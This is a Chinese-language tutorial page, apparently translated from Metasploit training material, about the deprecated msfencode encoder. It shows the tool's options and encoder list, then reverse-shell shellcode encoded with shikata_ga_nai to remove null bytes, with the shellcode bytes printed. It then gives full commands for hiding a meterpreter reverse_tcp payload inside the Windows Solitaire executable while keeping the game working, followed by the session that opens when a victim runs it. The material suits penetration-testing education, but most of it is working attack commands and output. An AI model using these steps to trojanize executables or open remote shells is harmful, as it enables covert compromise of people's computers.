Metasploit MSFencode

注意:msfencode在2015-06-08上被删除;

 

msfencode是框架的阿森纳另一个很好的小工具,当涉及开发时。大多数情况下,不能简单地使用直接从msfpayload生成的shellcode。它需要进行编码以适应目标才能正常工作。这可能意味着将您的shellcode转换为纯字母数字,排除不良字符或将其编码为64位目标。

 

它还可以被指示多次编码shellcode,以多种格式(C,Perl,Ruby)输出shellcode,甚至可以将它合并到现有的可执行文件。所以大部分时间这个工具与msfpayload一起使用。

 

使用“-h”开关运行msfencode将显示使用情况和选项。

[email protected]:~# msfencode -h

用法:

/usr/bin/ msfencode>选项>

 

选项:

-a <opt>                   编码为的体系结构

-b <opt>                   要避免的字符列表:'\ x00 \ xff'

-c <opt>                   编码数据的次数

-d <opt>                   指定要在其中查找EXE模板的目录

-e <opt>                   要使用的编码器

-h                              帮助横幅

-i <opt>                   对提供的文件路径的内容进行编码

-k                              保持模板工作;在新线程中运行有效内容(与-x一起使用)

-l                                列出可用的编码器

-m <opt>                  指定一个额外的模块搜索路径

-n                               转储编码器信息

-o <opt>                   输出文件

-p <opt>                   要编码的平台

-s <opt>                  编码数据的最大大小

-t <opt>                   输出格式:bash,c,csharp,dw,dword,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,dll,elf,exe,exe-only,exe-service,exe-small,loop-vbs,macho,msi,msi-nouac,psh,psh-net,psh-reflection,vba,vba-exe,vbs,war

-v                              增加冗长度

-x <opt>                   指定一个备用可执行模板

 

单独使用“-l”选项将列出当前可用的编码器。

[email protected]:~# msfencode -l
Framework Encoders
==================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/generic_sh                good       Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Generic ${IFS} Substitution Command Encoder
    cmd/printf_php_mq             manual     printf(1) via PHP magic_quotes Utility Command Encoder
    generic/none                  normal     The "none" Encoder
    mipsbe/longxor                normal     XOR Encoder
    mipsle/longxor                normal     XOR Encoder
    php/base64                    great      PHP Base64 Encoder
    ppc/longxor                   normal     PPC LongXOR Encoder
    ppc/longxor_tag               normal     PPC LongXOR Encoder
    sparc/longxor_tag             normal     SPARC DWORD XOR Encoder
    x64/xor                       normal     XOR Encoder
    x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_underscore_tolower  manual     Avoid underscore/tolower
    x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower
    x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder
    x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder
    x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder
    x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time              manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown                 normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha                  low        Non-Alpha Encoder
    x86/nonupper                  low        Non-Upper Encoder
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit         manual     Single Static Bit
    x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

 

使用“-b”开关完成删除错误的字符,如下所示。

[email protected]:~# msfpayload windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 R | msfencode -b '\x00' -e x86/shikata_ga_nai -t perl
[*] x86/shikata_ga_nai succeeded with size 1636 (iteration=1)

my $buf = 
"\xbe\x7b\xe6\xcd\x7c\xd9\xf6\xd9\x74\x24\xf4\x58\x2b\xc9" .
"\x66\xb9\x92\x01\x31\x70\x17\x83\xc0\x04\x03\x70\x13\xe2" .
"\x8e\xc9\xe7\x76\x50\x3c\xd8\xf1\xf9\x2e\x7c\x91\x8e\xdd" .
"\x53\x1e\x18\x47\xc0\x8c\x87\xf5\x7d\x3b\x52\x88\x0e\xa6" .
"\xc3\x18\x92\x58\xdb\xcd\x74\xaa\x2a\x3a\x55\xae\x35\x36" .
"\xf0\x5d\xcf\x96\xd0\x81\xa7\xa2\x50\xb2\x0d\x64\xb6\x45" .
"\x06\x0d\xe6\xc4\x8d\x85\x97\x65\x3d\x0a\x37\xe3\xc9\xfc" .
"\xa4\x9c\x5c\x0b\x0b\x49\xbe\x5d\x0e\xdf\xfc\x2e\xc3\x9a" .
"\x3d\xd7\x82\x48\x4e\x72\x69\xb1\xfc\x34\x3e\xe2\xa8\xf9" .
"\xf1\x36\x67\x2c\xc2\x18\xb7\x1e\x13\x49\x97\x12\x03\xde" .
"\x85\xfe\x9e\xd4\x1d\xcb\xd4\x38\x7d\x39\x35\x6b\x5d\x6f" .
"\x50\x1d\xf8\xfd\xe9\x84\x41\x6d\x60\x29\x20\x12\x08\xe7" .
"\xcf\xa0\x82\x6e\x6a\x3a\x5e\x44\x58\x9c\xf2\xc3\xd6\xb9" .
.
.
...略...

 

我们来比较编码的反向shell的开始与未编码的反向shell的开始。

[email protected]:~# msfpayload windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 C

/*
 * windows/shell_reverse_tcp - 314 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LHOST=127.0.0.1, LPORT=4444, 
 * ReverseConnectRetries=5, ReverseAllowProxy=false, 
 * PrependMigrate=false, EXITFUNC=process, 
 * InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
.
.

 

比较上面这两个结果,很明显msfencode完成了它的工作并删除了所有的空字节。请记住,在对shellcode进行编码时,它的大小会增加,因为在这种情况下,它会从314字节到1636。

 

另一个有趣的功能是在保持其主要功能完好无损的情况下退出可执行文件的能力。我们的下一个例子包含了几个选项。

[email protected]:~#  msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.191 LPORT=443 R | msfencode -t exe -x sol.exe -k -o sol_bdoor.exe -e x86/shikata_ga_nai -c 3
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)

[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)

[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)

[email protected]:~# ls Sc303*
Sc303_bdoor.exe  Sc303.exe
[email protected]:~#

 

让我们花一些时间来了解创建恶意版本的各种开关

msfencode -t exe -x sol.exe -k -o sol_bdoor.exe -e x86/shikata_ga_nai -c 3

“-t”告诉msfencode,我们希望输出为Windows可执行文件,“-x”使用“sol.exe”作为模板。

为了保持原始文件的功能,在这种情况下游戏,“-k”开关被发布。命令字符串通过使用“x86 / shikata_ga_nai”编码器进行3次迭代编码完成。

请注意,您需要复制位于以下位置的Metasploit模板文件夹中的可执行文件:

/usr/share/metasploit-framework/data/templates/

或者您将收到此错误:

[-] x86/shikata_ga_nai failed: No such file or directory - /usr/share/metasploit-framework/data/templates/sol.exe
[-] No encoders succeeded. #没有编码成功

 

现在运行将文件传输到Windows XP机器上并执行它。

msfencode -t exe -x sol.exe -k -o sol_bdoor.exe -e x86/shikata_ga_nai -c 3

 

一旦执行,这个新补丁版本的Windows纸牌将发送我们的反向meterpreter shell外壳。

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.191:443 
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.1.166
[*] Meterpreter session 1 opened (192.168.1.191:443 -> 192.168.1.166:1061) at 2013-03-31 22:05:30 -0400

meterpreter > ipconfig

Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0


Interface 131074
============
Name         : AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC : 00:0c:29:68:51:bb
MTU          : 1500
IPv4 Address : 192.168.1.166
IPv4 Netmask : 255.255.255.0

 

注意:应该使用msfvenom来代替msfpayload + msfencode

[!] ************************************************************************
[!] *               The utility msfencode is deprecated!                   *
[!] *              It will be removed on or about 2015-06-08               *
[!] *                   Please use msfvenom instead                        *
[!] *  Details: https://github.com/rapid7/metasploit-framework/pull/4333   *
[!] ************************************************************************
    A+
发布日期:2018年05月21日 23:46:17  所属分类:Metasploit
最后更新时间:2018-05-21 23:47:35
评分: (5 票;平均数3.40 ;最高评分 5 ;用户总数5;总得分 17;百分比68.00)
付杰
数据科学与人工智能:必备数学基础
  • ¥ 298.0元
  • 市场价:398.0元
Node.js视频教程:node.js全栈开发之路
  • ¥ 45.0元
  • 市场价:45.0元
Python零基础入门到高级视频教程(500全集)
  • ¥ 298.0元
  • 市场价:899.0元
UML建模视频教程:UML系统设计与建模 精讲
  • ¥ 58.0元
  • 市场价:58.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: